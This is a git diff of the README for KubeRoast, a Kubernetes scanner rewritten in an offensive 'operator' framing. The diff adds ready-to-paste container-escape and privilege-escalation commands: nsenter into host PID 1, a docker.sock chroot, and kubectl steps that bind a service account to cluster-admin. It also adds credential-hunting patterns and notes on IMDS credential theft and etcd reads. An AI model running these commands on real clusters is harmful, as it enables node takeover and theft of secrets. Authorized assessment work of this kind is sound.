diff --git a/README.md b/README.md
index 947ebc7..7f58d8c 100644
--- a/README.md
+++ b/README.md
@@ -1,241 +1,387 @@
-
-
+
+
+
KubeRoast
- Red-team Kubernetes misconfiguration & attack-path scanner
- Fast, opinionated, read-only. Built for real-world escalation paths.
+ Offensive Kubernetes scanner. Built for operators, not auditors.
+ Concrete attack primitives, multi-hop escalation chains, and PoC commands β
+ not a checklist of fields.
+ π Docs & methodology β snailsploit.com/tools
+
+
+
+ Why •
Quick Start •
- What It Finds •
- Usage •
- CI/CD •
- Output •
- Contributing
+ Operator Playbook •
+ Coverage •
+ Shift-Left •
+ CI/CD
---
-> **Ethical use only.** Run KubeRoast only on clusters you own or have explicit written permission to test.
+> **Ethical use only.** Run KubeRoast against clusters you own or have written authorization to test. This is an assessment tool for self-deployed environments.
+
+## What makes this different
+
+Most "Kubernetes security scanners" output a wall of *"field X not set to Y"* checklists. Useful for compliance auditors. Useless when you have a kubeconfig and 30 minutes to find a path to cluster-admin.
-## Why KubeRoast
+KubeRoast is built around the questions an operator actually asks:
-Most Kubernetes security scanners generate noise. KubeRoast focuses on **what actually gets you owned** β privilege escalation paths, exposed kubelets, over-permissioned RBAC, network services open to the internet, and secrets sitting in plain sight. It reads, never writes. Safe to run in production.
+| Question | What KubeRoast does |
+|---|---|
+| *"If I land RCE in this container, how fast can I get to the node?"* | Per-pod **escape primitive scoring** with the exact PoC command (docker.sock β `docker -H unix:///var/run/docker.sock β¦`, SYS_ADMIN β cgroup `release_agent`, etc.) |
+| *"Which SAs are 1β2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** β traverses `create pods` β `pods/exec` β `serviceaccounts/token` β CSR cert-mint β `bind` graph and emits the full chain with per-hop PoC |
+| *"Who is *already* cluster-admin without the obvious binding?"* | **Tier-0 identification** β names the principals holding crown-jewel verbs (CSR create+approve β mint a `system:masters` cert, `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook writes) |
+| *"How do I get from a pod into the cloud account?"* | **Cloud-pivot modeling** β IMDS reachability (per-namespace egress posture, provider-specific credential-theft curl) and IRSA / GKE Workload Identity / Azure Workload Identity SAβrole mapping |
+| *"Is the datastore reachable?"* | **Control-plane probes** β etcd (2379) reachable / without client-cert auth β read every Secret directly, and the legacy insecure apiserver port (8080) β unauthenticated cluster-admin |
+| *"Is anything here a known one-shot?"* | **CVE correlation** β runc/kubelet/k8s/ingress-nginx versions β known-exploitable escape & escalation CVEs (Leaky Vessels, IngressNightmare, the apiserver-proxy bug) with CISA-KEV and EPSS tags |
+| *"Is this kubelet I can reach actually exploitable?"* | **Active kubelet HTTP probes** against `/pods`, `/configz`, `/metrics` on 10250/10255 β not just a TCP port check |
+| *"Where are the credentials that shouldn't be there?"* | **Credential hunt** across ConfigMaps, pod env vars, and command-line args (AKIAβ¦, ghp_β¦, PEM keys, JDBC URLs, Azure connection strings) plus **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) |
+| *"What admission policies can I bypass?"* | **Webhook bypass audit** β `failurePolicy: Ignore` + long timeouts = DoS-bypassable |
+| *"Can I check this before the cluster exists?"* | **Shift-left manifest mode** (`--manifests ./k8s/`) β same rules, no API access required |
+
+Every finding carries: severity, **exploitability** (`trivial` / `easy` / `moderate` / `hard`), **impact** (concrete blast radius), the **PoC command** an operator runs to confirm, and the **MITRE ATT&CK** technique IDs.
+
+> **No kiddie stuff by default.** Defense-in-depth lint (no resource limits, no AppArmor, "automount token not disabled") is **hidden by default** so attack paths lead. Add `--include-hygiene` if you want the compliance checklist back.
## Quick Start
```bash
-# Install
git clone https://github.com/SnailSploit/KubeRoast_v1.git
cd KubeRoast_v1
-pip install -e .
+pip install -e '.[manifests]'
-# Scan your cluster
+# Live cluster scan (current kubeconfig)
kuberoast --report text
+
+# Pre-deploy: scan a directory of YAML
+kuberoast --manifests ./k8s/ --report text
+
+# Only show what an attacker can exploit today
+kuberoast --min-exploitability easy --report text
```
-That's it. KubeRoast picks up your current kubeconfig context automatically.
+## What a real finding looks like
-## What It Finds
+```
+[CRITICAL] trivial Trivial container escape: privileged + hostPID
+ id: ESC-PRIV-HOSTPID
+ resource: deployment/vulnerable-webapp::app
+ summary: Container app is privileged AND shares the host PID namespace.
+ Combined, these grant immediate ability to ptrace/nsenter
+ host PID 1 and achieve root on the node from any RCE.
+ impact: Root on the underlying node. Access to all other pods on
+ that node, kubelet credentials, and any node-local secrets.
+ poc:
+ β nsenter --target 1 --mount --uts --ipc --net --pid -- bash
+ att&ck: T1611
+ fix: Remove privileged=true and hostPID=true.
+
+
+[CRITICAL] easy Escalation chain (2 hop): sa:dev:cicd β cluster-admin
+ id: AP-CHAIN
+ resource: sa:dev:cicd
+ summary: Principal sa:dev:cicd can reach cluster-admin in 2 step(s).
+
+ Chain: sa:dev:cicd β sa:prod:deployer β ClusterRole/cluster-admin
+
+ Steps:
+ - create a pod with serviceAccountName set to target SA
+ PoC: kubectl run pwn --image=busybox \
+ --serviceaccount=deployer -n prod -- sleep 999
+ - bind self to cluster-admin via RoleBinding write
+ PoC: kubectl create clusterrolebinding pwn \
+ --clusterrole=cluster-admin --serviceaccount=prod:deployer
+
+ impact: Full cluster compromise via 2-hop escalation.
+ att&ck: T1078.004, T1098.003
+```
-KubeRoast runs **30+ security checks** across 7 categories. Every finding includes severity, a description, actionable remediation, and reference links.
+## Operator Playbook
-### Pod Security (11 checks)
+A 5-minute workflow for triaging a freshly-acquired cluster context:
-| ID | Finding | Severity |
-|---|---|---|
-| `POD-PRIV` | Privileged container | Critical |
-| `POD-ROOT` | Container runs as root (`runAsUser=0`) | High |
-| `POD-PE` | `allowPrivilegeEscalation` not disabled | High/Medium |
-| `POD-HOSTNS` | Pod uses host namespaces (network/PID/IPC) | High |
-| `POD-CAPS` | Dangerous Linux capabilities (`SYS_ADMIN`, `SYS_PTRACE`, etc.) | High |
-| `POD-HOSTPATH` | hostPath volume mounted | High |
-| `POD-RWFS` | Writable root filesystem | Medium |
-| `POD-NO-SECCOMP` | No seccomp profile configured | Medium |
-| `POD-NO-LIMITS` | No CPU/memory resource limits | Medium |
-| `POD-SATOKEN` | Service account token automount not disabled | Low |
-| `POD-NO-APPARMOR` | No AppArmor profile configured | Low |
-
-### RBAC (5 checks)
-
-| ID | Finding | Severity |
-|---|---|---|
-| `RBAC-ANON` | Anonymous or wildcard user bound | Critical |
-| `RBAC-CLUSTER-ADMIN` | `cluster-admin` granted via binding | Critical |
-| `RBAC-ESCALATION-VERB` | Escalation verbs (`bind`/`escalate`/`impersonate`) | Critical |
-| `RBAC-WILDCARD` | Wildcard `*` in role rules | High |
-| `RBAC-SENSITIVE-WRITE` | Write access to sensitive resources | High |
+```bash
+# 1. Triage view β sorted, only what's exploitable
+kuberoast --report text --min-exploitability easy
-### Attack Path Modeling (1 composite check)
+# 2. Drill into escape primitives only
+kuberoast --report json | jq '[.[] | select(.category == "Escape")]'
-| ID | Finding | Severity |
-|---|---|---|
-| `AP-RBAC-ESC` | RBAC permissions enable privilege escalation | Critical |
+# 3. RBAC escalation map β who's near cluster-admin, and who already IS?
+kuberoast --report json | jq '[.[] | select(.id == "AP-CHAIN" or .id == "AP-TIER0") | {id, principal: .resource}]'
-Maps every principal (especially ServiceAccounts) to concrete escalation abilities β bind, escalate, impersonate, create pods + read secrets, exec/attach, modify nodes β and links SAs back to the pods running them.
+# 4. Cloud pivot β can a pod become the cloud account?
+kuberoast --report json | jq '[.[] | select(.category == "CloudPivot")]'
-### Network Exposure (5 checks)
+# 5. Known one-shots β CVEs in running versions, ranked by EPSS
+kuberoast --report json | jq '[.[] | select(.category == "CVE")] | sort_by(.metadata.epss) | reverse'
-| ID | Finding | Severity |
-|---|---|---|
-| `NET-LB-OPEN` | LoadBalancer without `loadBalancerSourceRanges` | High |
-| `NET-EXTERNAL-IP` | Service with `externalIPs` | High |
-| `NET-INGRESS-NO-TLS` | Ingress without TLS | High |
-| `NET-NODEPORT` | Service exposed via NodePort | Medium |
-| `NET-INGRESS-WILDCARD` | Ingress with wildcard host | Medium |
+# 5b. Crown jewels β etcd / insecure apiserver reachable?
+kuberoast --report json | jq '[.[] | select(.category == "ControlPlane")]'
+
+# 6. Credential haul β secrets, configmaps, env, tokens
+kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]'
+```
-### Node Security (2 checks)
+Each command runs in seconds. You walk away with a prioritized hit-list, PoC commands ready to paste.
-| ID | Finding | Severity |
+## Offensive Coverage
+
+KubeRoast runs **65+ checks across 14 categories**. Coverage emphasizes attacker-actionable findings.
+
+### πͺ Container Escape Primitives ([`scanners/escapes.py`](kuberoast/scanners/escapes.py))
+
+| ID | Primitive | Exploitability |
|---|---|---|
-| `NODE-KUBELET-RO` | Kubelet read-only port 10255 reachable | Critical |
-| `NODE-KUBELET-API` | Kubelet API port 10250 reachable | Medium |
+| `ESC-PRIV-HOSTPID` | Privileged + hostPID β `nsenter` host PID 1 | trivial |
+| `ESC-PRIV` | Privileged β mount host fs, chroot | trivial |
+| `ESC-HOSTPATH-SENSITIVE` | Sensitive hostPath (`docker.sock`, `containerd.sock`, `/etc`, `/var/lib/etcd`, `/etc/kubernetes`, `/var/lib/kubelet`, β¦) | trivial / easy |
+| `ESC-CAP-SYS_ADMIN` | CAP_SYS_ADMIN β cgroup release_agent escape | trivial |
+| `ESC-CAP-SYS_MODULE` | Load malicious kernel module | trivial |
+| `ESC-CAP-SYS_PTRACE` | Attach to host PID 1 (needs hostPID) | easy |
+| `ESC-CAP-SYS_RAWIO` | Read raw disk devices | easy |
+| `ESC-CAP-DAC_READ_SEARCH` | Bypass file perms via `open_by_handle_at` | easy |
+| `ESC-CAP-NET_ADMIN`, `NET_RAW`, `SYSLOG` | Network/log manipulation primitives | moderate |
+| `ESC-PROC-WRITE` | Writable `/proc/sys/kernel/core_pattern` β host code exec on segfault | trivial |
+| `ESC-HOSTNET` | hostNetwork β reach kubelet & node-local services | easy |
+| `ESC-HOSTIPC` | hostIPC β side-channel host processes | moderate |
+| `ESC-ROOT-NO-DROP` | UID 0 with default caps (escalation multiplier) | moderate |
+
+### π Multi-hop Attack Paths ([`attackpaths/sa_chains.py`](kuberoast/attackpaths/sa_chains.py), [`tier_zero.py`](kuberoast/attackpaths/tier_zero.py))
+
+| ID | What it finds |
+|---|---|
+| `AP-CHAIN` | Shortest path from any SA to cluster-admin (β€4 hops), traversing `create pods`, `pods/exec`, `update deployments`, CSR cert-mint, `bind` / `escalate` / `impersonate`, `serviceaccounts/token`. Includes per-hop PoC. |
+| `AP-TIER0` | Principals that are **effectively cluster-admin already** β CSR create+approve (mint a `system:masters` cert), `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook config writes, `impersonate`/`escalate`/`bind`, `nodes` patch. Skips expected holders (kube-system, system:masters). |
+| `AP-RBAC-ESC` | 1-hop "this SA has cluster-takeover primitives" summary. |
+
+### βοΈ Cloud-Account Pivots ([`scanners/cloud.py`](kuberoast/scanners/cloud.py))
-Node probes run concurrently for fast scanning across large clusters.
+The single highest-impact real-world escalation: pod β cloud account.
-### Secrets (3 checks)
+| ID | What it finds |
+|---|---|
+| `CLOUD-IMDS-REACHABLE` | Namespaces with no egress NetworkPolicy blocking `169.254.169.254`. Provider auto-detected (AWS/GCP/Azure); emits the exact IMDS credential-theft `curl` for that provider. |
+| `CLOUD-IRSA` | ServiceAccount federated to an AWS IAM role (`eks.amazonaws.com/role-arn`). Run-as that SA β `sts:AssumeRoleWithWebIdentity`. |
+| `CLOUD-GKE-WI` | SA mapped to a GCP service account via GKE Workload Identity. |
+| `CLOUD-AZURE-WI` | SA configured for Azure Workload Identity (federated β ARM token). |
+
+### π° Control-Plane Exposure ([`scanners/controlplane.py`](kuberoast/scanners/controlplane.py))
+
+Active, read-only probes of control-plane nodes. On managed control planes (EKS/GKE/AKS) these ports aren't reachable and nothing fires.
+
+| ID | What it confirms |
+|---|---|
+| `CP-ETCD-NOAUTH` | etcd (2379) answers `/version` unauthenticated β no client-cert auth β read/write **every Secret** directly via `etcdctl`, bypassing RBAC and audit logs (critical) |
+| `CP-ETCD-REACHABLE` | etcd client port reachable from scan origin (TCP) β should never be routable from the workload network (high) |
+| `CP-ETCD-PEER` | etcd peer port (2380) reachable |
+| `CP-APISERVER-INSECURE` | legacy insecure apiserver port (8080) serves the API unauthenticated β implicit cluster-admin (critical) |
+| `CP-PORT-8080-OPEN` | port 8080 open but not confirmed as apiserver β identify the listener |
-| ID | Finding | Severity |
+> **DaemonSet amplification:** escape primitives found in a DaemonSet template are re-framed as a foothold on *every* node (a DaemonSet schedules a pod per node), not a single-pod compromise.
+
+### π©Ή CVE Correlation ([`scanners/cve.py`](kuberoast/scanners/cve.py))
+
+Version-aware, offline, deterministic. Each finding carries CISA-KEV status and EPSS (verified against live feeds at authoring time).
+
+| CVE | Component | Why it matters |
|---|---|---|
-| `SECRET-SENSITIVE` | Opaque secret contains credential-like keys | Medium |
-| `SECRET-DOCKER-HUB` | Docker Hub credentials in secret | Medium |
-| `SECRET-TLS-MANUAL` | TLS secret not managed by cert-manager | Low |
+| `CVE-2025-1974` | ingress-nginx < 1.11.5 / 1.12.1 | **IngressNightmare** β unauth RCE in admission controller β read all Secrets. EPSS 0.91 |
+| `CVE-2018-1002105` | k8s < 1.10.11/1.11.5/1.12.3 | apiserver proxy β unauthenticated backend escalation. EPSS 0.90 |
+| `CVE-2024-1086` | kernel < 6.8 | nf_tables UAF β node-root LPE. **CISA KEV**, EPSS 0.85 |
+| `CVE-2024-21626` | runc β€ 1.1.11 | **Leaky Vessels** β WORKDIR fd container escape |
+| `CVE-2019-5736` | runc < 1.0 | runc binary overwrite β node root |
+| `CVE-2022-0185` | kernel < 5.16.2 | fsconfig heap overflow β escape/LPE. **CISA KEV** |
+| `CVE-2020-15257` | containerd < 1.4.3 | containerd-shim host-net escape |
+| `CVE-2021-25741` | kubelet < 1.22.2 | subPath symlink β host file access |
+| `CVE-2020-8559` | k8s < 1.18.6 | apiserverβkubelet redirect β cross-node |
+| `CVE-2023-5044`, `CVE-2021-25742` | ingress-nginx | annotation/snippet injection β controller token theft |
+
+### π Active Kubelet Probes ([`scanners/kubelet.py`](kuberoast/scanners/kubelet.py))
+
+| ID | What it confirms |
+|---|---|
+| `KUBELET-RO-PODS` | Port 10255 `/pods` returns pod inventory unauthenticated (critical / trivial) |
+| `KUBELET-RO-METRICS` | Port 10255 `/metrics` unauthenticated |
+| `KUBELET-API-ANON-PODS` | Port 10250 `/pods` reachable anonymously β full pod enumeration + exec (critical) |
+| `KUBELET-API-AUTH` | Port 10250 properly returns 401 (info β good) |
+| `KUBELET-API-AUTHZ` | Anonymous authN enabled but authZ enforced |
+| `KUBELET-API-METRICS` | `/metrics` on 10250 served without auth |
+| `KUBELET-CONFIGZ` | `/configz` discloses full kubelet config |
-### Policy & PSS (2 checks)
+### πͺͺ Token & Credential Hunting
-| ID | Finding | Severity |
+| ID | Category | What it finds |
|---|---|---|
-| `POLICY-NONE` | No policy engine (Kyverno/Gatekeeper) detected | High |
-| `PSS-NOT-ENFORCED` | Namespace lacks Pod Security Admission labels | High/Info |
+| `TOKEN-LEGACY-NONEXPIRING` | Tokens | Legacy `kubernetes.io/service-account-token` Secret with no `exp` claim β persistent SA impersonation if exfiltrated |
+| `TOKEN-AUDIENCE` | Tokens | Token bound to non-default audience (often IRSA / Workload Identity / Vault) |
+| `CM-LEAK-AWS-AKID` | ConfigMaps | AWS Access Key ID |
+| `CM-LEAK-PRIVATE-KEY-PEM` | ConfigMaps | PEM private key (RSA/EC/OPENSSH) |
+| `CM-LEAK-GCP-SA-JSON` | ConfigMaps | GCP service account JSON |
+| `CM-LEAK-GITHUB-PAT` | ConfigMaps | `ghp_β¦` / `ghs_β¦` / `gho_β¦` |
+| `CM-LEAK-SLACK-BOT` | ConfigMaps | `xoxb-β¦` |
+| `CM-LEAK-JDBC-URL`, `CM-LEAK-GENERIC-URL` | ConfigMaps | Connection strings with embedded creds |
+| `CM-LEAK-AZURE-CONN` | ConfigMaps | Azure storage connection string |
+| `CM-LEAK-PASSWORD-YAML`, `CM-LEAK-APIKEY` | ConfigMaps | Plaintext password / API key in config |
+| `ENV-LEAK-*` | Secrets | Literal credential in a pod `env.value` (AWS key, token, JDBC URL, β¦) |
+| `ENV-LEAK-NAMED` | Secrets | Sensitive env name (`DB_PASSWORD`, `*_SECRET`, β¦) set to an inline value instead of `secretKeyRef` |
+| `ARG-LEAK-*` | Secrets | Credential on a container `command`/`args` line (world-visible via `/proc`) |
+| `SECRET-SENSITIVE`, `SECRET-DOCKER-HUB` | Secrets | Sensitive keys in Opaque secret, Docker Hub creds |
+
+### πͺ Admission Webhook Bypass ([`scanners/webhooks.py`](kuberoast/scanners/webhooks.py))
+
+| ID | Bypass primitive |
+|---|---|
+| `WEBHOOK-FAIL-OPEN` | `failurePolicy: Ignore` β DoS the backing service and policy fails open |
+| `WEBHOOK-SLOW-TIMEOUT` | Long `timeoutSeconds` widens DoS window |
+| `WEBHOOK-SIDE-EFFECTS` | `sideEffects: Unknown` / `Some` enables dry-run reconnaissance |
+| `WEBHOOK-NO-CA` | Missing `caBundle` β webhook TLS unverified |
-System namespaces (`kube-system`, etc.) are flagged at `info` severity with tailored remediation.
+### π‘ RBAC Hygiene ([`scanners/rbac.py`](kuberoast/scanners/rbac.py))
-## Usage
+| ID | Finding |
+|---|---|
+| `RBAC-ANON` | Anonymous or wildcard user bound |
+| `RBAC-BROAD-GROUP` | `system:unauthenticated` / `system:authenticated` / `*` bound |
+| `RBAC-CLUSTER-ADMIN` | cluster-admin granted via binding |
+| `RBAC-ESCALATION-VERB` | `bind` / `escalate` / `impersonate` in a role |
+| `RBAC-WILDCARD` | Wildcard verbs or resources in role rules |
+| `RBAC-SENSITIVE-WRITE` | Write verbs on `secrets` / `pods/exec` / `rolebindings` / etc. |
-```
-kuberoast [OPTIONS]
-```
+### π§± Pod Security ([`scanners/pods.py`](kuberoast/scanners/pods.py))
-### Flags
+Eleven hardening checks: `POD-PRIV`, `POD-ROOT`, `POD-PE`, `POD-HOSTNS`, `POD-CAPS`, `POD-HOSTPATH`, `POD-RWFS`, `POD-NO-SECCOMP`, `POD-NO-APPARMOR`, `POD-NO-LIMITS`, `POD-SATOKEN`. Also applied to **every workload's pod template** (Deployment, StatefulSet, DaemonSet, Job, CronJob, ReplicaSet, ReplicationController).
-| Flag | Default | Description |
-|---|---|---|
-| `--report {json,text,html}` | `json` | Output format |
-| `--out FILE` | β | Write report to file (required for HTML) |
-| `--kubeconfig PATH` | β | Path to kubeconfig (defaults to `~/.kube/config`) |
-| `-n, --namespace NS` | β | Limit scan to a single namespace |
-| `--min-severity {info,low,medium,high,critical}` | `info` | Filter out findings below this severity |
-| `--fail-on {info,low,medium,high,critical}` | β | Exit code 1 if any finding meets this threshold |
-| `--skip-nodes` | `false` | Skip kubelet port probes |
-| `--skip-secrets` | `false` | Skip secret inspection |
-| `--skip-attack-paths` | `false` | Skip RBAC attack-path analysis |
-| `--provider {generic,eks,aks,gke}` | `generic` | Cloud provider hint for remediation wording |
-| `-v, --verbose` | `false` | Progress logging to stderr |
-
-### Examples
-
-**Quick text scan of the default namespace:**
-```bash
-kuberoast -n default --report text
-```
+### π Network Exposure ([`scanners/network.py`](kuberoast/scanners/network.py))
-**Full cluster scan, only high and critical:**
-```bash
-kuberoast --min-severity high --report text
-```
+`NET-LB-OPEN`, `NET-EXTERNAL-IP`, `NET-NODEPORT`, `NET-INGRESS-NO-TLS`, `NET-INGRESS-WILDCARD`.
-**HTML report for the security team:**
-```bash
-kuberoast --report html --out report.html
-```
+### π Policy & PSS ([`scanners/policy.py`](kuberoast/scanners/policy.py), [`scanners/pss.py`](kuberoast/scanners/pss.py))
-**CI gate β fail the pipeline on critical findings:**
-```bash
-kuberoast --fail-on critical --report json > results.json
-```
+`POLICY-NONE` (no Kyverno/Gatekeeper detected), `PSS-NOT-ENFORCED` (namespaces missing Pod Security Admission labels β info severity for system namespaces).
+
+## Shift-left Manifest Mode
+
+KubeRoast runs the **exact same scanners** against YAML/JSON files β no cluster required.
-**Verbose scan, skip node probes (faster):**
```bash
-kuberoast -v --skip-nodes --report text
+# Single file
+kuberoast --manifests deploy.yaml --report text
+
+# Whole directory (recurses, handles multi-doc YAML, Helm output, Kustomize output)
+kuberoast --manifests ./k8s/ --report text
+
+# Render Helm first, then scan
+helm template my-chart ./chart | kuberoast --manifests /dev/stdin --report text
```
-## CI/CD Integration
+Workload templates (`Deployment.spec.template`, `CronJob.spec.jobTemplate.spec.template`, etc.) get extracted and run through every pod-level scanner. ConfigMaps, Secrets, RBAC, Services, Ingresses, and Webhooks all work the same offline.
-KubeRoast is designed to gate deployments. Use `--fail-on` to set the threshold:
+## CI/CD
```yaml
-# GitHub Actions example
-- name: Security scan
- run: |
- pip install -e .
- kuberoast --fail-on high --report json > kuberoast-results.json
+# .github/workflows/security.yml
+name: kuberoast
+on: [pull_request]
+jobs:
+ scan:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-python@v5
+ with: {python-version: '3.11'}
+ - run: pip install 'kuberoast[manifests] @ git+https://github.com/SnailSploit/KubeRoast_v1'
+ - name: Scan manifests
+ run: kuberoast --manifests ./k8s/ --fail-on high --report json > scan.json
+ - if: always()
+ uses: actions/upload-artifact@v4
+ with: {name: kuberoast-results, path: scan.json}
```
-### Exit Codes
+### Exit codes
| Code | Meaning |
|---|---|
-| `0` | Scan completed, no findings at or above `--fail-on` threshold |
+| `0` | Scan complete, nothing met `--fail-on` |
| `1` | Findings met or exceeded `--fail-on` threshold |
| `2` | Usage error or runtime failure |
-## Output Formats
+## CLI Reference
-### JSON (default)
-Machine-readable array of findings. Pipe to `jq` for filtering:
-```bash
-kuberoast | jq '[.[] | select(.severity == "critical")]'
```
-
-### Text
-Grouped by severity, with summary line and remediation per finding:
+kuberoast [OPTIONS]
```
-=== kuberoast scan: 12 findings (3 critical, 4 high, 5 medium) ===
---- CRITICAL (3) ---
- [CRITICAL] Privileged container
- Resource: pod/prod/web-0::nginx
- Description: Container runs in privileged mode, granting broad access to the host kernel.
- Remediation: Remove privileged=true. Grant narrow capabilities only if needed.
-```
+### Common flags
-### HTML
-Dark-themed report with severity badges, sortable table, and remediation guidance. Open in any browser:
-```bash
-kuberoast --report html --out report.html && open report.html
-```
+| Flag | Default | Description |
+|---|---|---|
+| `--report {json,text,html}` | `json` | Output format |
+| `--out FILE` | β | Write report to file (required for HTML) |
+| `--manifests PATH` | β | Scan manifests offline (file or directory) |
+| `--kubeconfig PATH` | β | Path to kubeconfig (defaults to `$KUBECONFIG` then `~/.kube/config`) |
+| `-n, --namespace NS` | β | Limit scan to one namespace |
+| `--min-severity {info,low,medium,high,critical}` | `info` | Filter by severity |
+| `--min-exploitability {theoretical,hard,moderate,easy,trivial}` | β | Filter by exploitability |
+| `--include-hygiene` | off | Include defense-in-depth / compliance findings (hidden by default) |
+| `--fail-on {info,low,medium,high,critical}` | β | Exit `1` if any finding meets the threshold |
+| `--no-color` | off | Disable ANSI colors |
+| `--version` | β | Print version and exit |
+| `-v, --verbose` | off | Progress logging to stderr |
+
+### Skip flags (for large clusters)
+
+| Flag | Skips |
+|---|---|
+| `--skip-nodes` | Node TCP + kubelet probes (node list still fetched for CVE/cloud) |
+| `--skip-kubelet-probe` | Active HTTP probing β kubelet **and** control-plane (etcd / insecure apiserver). TCP-port check still runs |
+| `--skip-secrets` | Secret heuristics + SA token analysis |
+| `--skip-configmaps` | ConfigMap credential hunt |
+| `--skip-attack-paths` | RBAC 1-hop + multi-hop chains + tier-0 |
+| `--skip-cloud` | Cloud-pivot analysis (IMDS + workload identity) |
+| `--skip-cve` | VersionβCVE correlation |
+| `--skip-webhooks` | Admission webhook audit |
## Findings Schema
-Every finding follows a structured format:
-
```json
{
- "id": "POD-PRIV",
- "title": "Privileged container",
- "description": "Container runs in privileged mode, granting broad access to the host kernel.",
+ "id": "ESC-HOSTPATH-SENSITIVE",
+ "title": "Container escape via hostPath /var/run/docker.sock",
+ "description": "Pod mounts a sensitive hostPath (/var/run/docker.sock). β¦",
"severity": "critical",
- "category": "Pod Security",
+ "category": "Escape",
"namespace": "prod",
- "resource": "pod/web-0::nginx",
+ "resource": "deployment/vulnerable-webapp",
"metadata": {},
- "remediation": "Remove privileged=true. Grant narrow capabilities only if needed.",
- "references": ["https://kubernetes.io/docs/concepts/security/pod-security-standards/"]
+ "remediation": "Remove the /var/run/docker.sock hostPath mount.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1611/",
+ "https://blog.aquasec.com/docker-socket-mount-container-escape"
+ ],
+ "exploitability": "trivial",
+ "exploit": "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host",
+ "impact": "Docker daemon socket β spawn privileged sibling containers",
+ "attack_techniques": ["T1611"]
}
```
-**Severity levels:** `critical` > `high` > `medium` > `low` > `info`
-
-**Categories:** Pod Security, RBAC, AttackPath, Network, Node, Secrets, Policy
+**Severity:** `critical` > `high` > `medium` > `low` > `info`
+**Exploitability:** `trivial` > `easy` > `moderate` > `hard` > `theoretical`
+**Categories:** `Escape`, `AttackPath`, `CloudPivot`, `ControlPlane`, `CVE`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy`
-## Kubernetes RBAC
+## Required RBAC
KubeRoast only needs **read access**. Apply this minimal ClusterRole:
@@ -246,98 +392,118 @@ metadata:
name: kuberoast-reader
rules:
- apiGroups: [""]
- resources: [pods, secrets, nodes, namespaces, services]
- verbs: [get, list, watch]
+ resources: [pods, secrets, configmaps, nodes, namespaces, services, serviceaccounts]
+ verbs: [get, list]
+ - apiGroups: [apps]
+ resources: [deployments, statefulsets, daemonsets, replicasets]
+ verbs: [get, list]
+ - apiGroups: [batch]
+ resources: [jobs, cronjobs]
+ verbs: [get, list]
- apiGroups: [rbac.authorization.k8s.io]
resources: [roles, rolebindings, clusterroles, clusterrolebindings]
- verbs: [get, list, watch]
+ verbs: [get, list]
- apiGroups: [networking.k8s.io]
- resources: [ingresses]
- verbs: [get, list, watch]
+ resources: [ingresses, networkpolicies]
+ verbs: [get, list]
+ - apiGroups: [admissionregistration.k8s.io]
+ resources: [validatingwebhookconfigurations, mutatingwebhookconfigurations]
+ verbs: [get, list]
- apiGroups: [apiextensions.k8s.io]
resources: [customresourcedefinitions]
- verbs: [get, list, watch]
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
- name: kuberoast
- namespace: default
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
- name: kuberoast-reader-binding
-roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: kuberoast-reader
-subjects:
- - kind: ServiceAccount
- name: kuberoast
- namespace: default
+ verbs: [get, list]
```
-Secrets and nodes are optional β KubeRoast continues gracefully if those APIs return 401/403.
+VersionβCVE correlation also reads the cluster version (`/version`, public) and node `status.nodeInfo` (covered by `nodes` above).
+
+KubeRoast continues gracefully if any API returns 401/403 β partial scans are still useful.
## Architecture
```
kuberoast/
- cli.py # CLI entry point, arg parsing, orchestration
+ cli.py CLI, banner, orchestration
utils/
- findings.py # Pydantic Finding model
- kube.py # K8s API clients, pagination, error handling
+ findings.py Pydantic Finding model + hygiene ID set
+ kube.py K8s API clients, pagination, error handling
+ manifests.py Shift-left YAML/JSON loader (camelCaseβsnake_case)
+ workloads.py PodTemplate extraction for Deployment/etc.
+ versions.py Version parsing for CVE correlation
+ colors.py ANSI colors (TTY-aware, NO_COLOR-respecting)
scanners/
- pods.py # 11 pod-level security checks
- rbac.py # 5 RBAC hygiene checks
- network.py # Service + Ingress exposure checks
- nodes.py # Concurrent kubelet port probes
- secrets.py # Credential heuristics
- policy.py # Policy engine (Kyverno/Gatekeeper) detection
- pss.py # Pod Security Standards label checks
- shared.py # Container iteration helpers
+ pods.py 11 pod-level hardening checks
+ escapes.py Container escape primitive analysis (scoring + PoC)
+ cloud.py Cloud-account pivots (IMDS + IRSA/WI federation)
+ controlplane.py etcd / insecure-apiserver exposure probes
+ cve.py Versionβknown-exploitable-CVE correlation
+ rbac.py RBAC hygiene
+ network.py Service + Ingress exposure
+ nodes.py Legacy TCP-port check for kubelet
+ kubelet.py Active HTTP probes (/pods, /configz, /metrics)
+ secrets.py Credential heuristics in Secrets
+ tokens.py JWT decode of SA tokens (legacy vs projected, audiences)
+ configmaps.py Credential hunt in ConfigMaps
+ podsecrets.py Hardcoded creds in pod env / args / command
+ webhooks.py Admission webhook bypass audit
+ policy.py Policy engine (Kyverno/Gatekeeper) detection
+ pss.py Pod Security Standards labels
+ shared.py Container iteration helpers
attackpaths/
- rbac_escalation.py # RBAC privilege escalation graph
+ rbac_escalation.py 1-hop RBAC escalation primitives
+ sa_chains.py Multi-hop SA β cluster-admin BFS (incl. CSR cert-mint)
+ tier_zero.py Effective-cluster-admin (crown jewel) identification
reporting/
- json.py # JSON output
- text.py # Severity-grouped text output
- html.py # Dark-themed HTML report
-tests/
- test_pods.py # Pod scanner unit tests
- test_rbac.py # RBAC scanner unit tests
- test_network.py # Network scanner unit tests
- test_secrets.py # Secret scanner unit tests
- test_pss.py # PSS scanner unit tests
- test_reporting.py # Output format tests
+ json.py JSON output
+ text.py Colorized severity-grouped text
+ html.py Dark-themed HTML report
+
+tests/ 200 tests covering every scanner + edge cases
```
+## Comparison
+
+| Capability | kuberoast | kube-bench | kubescape | kube-hunter |
+|---|---|---|---|---|
+| Container escape primitive scoring + PoC | β
| β | partial | β |
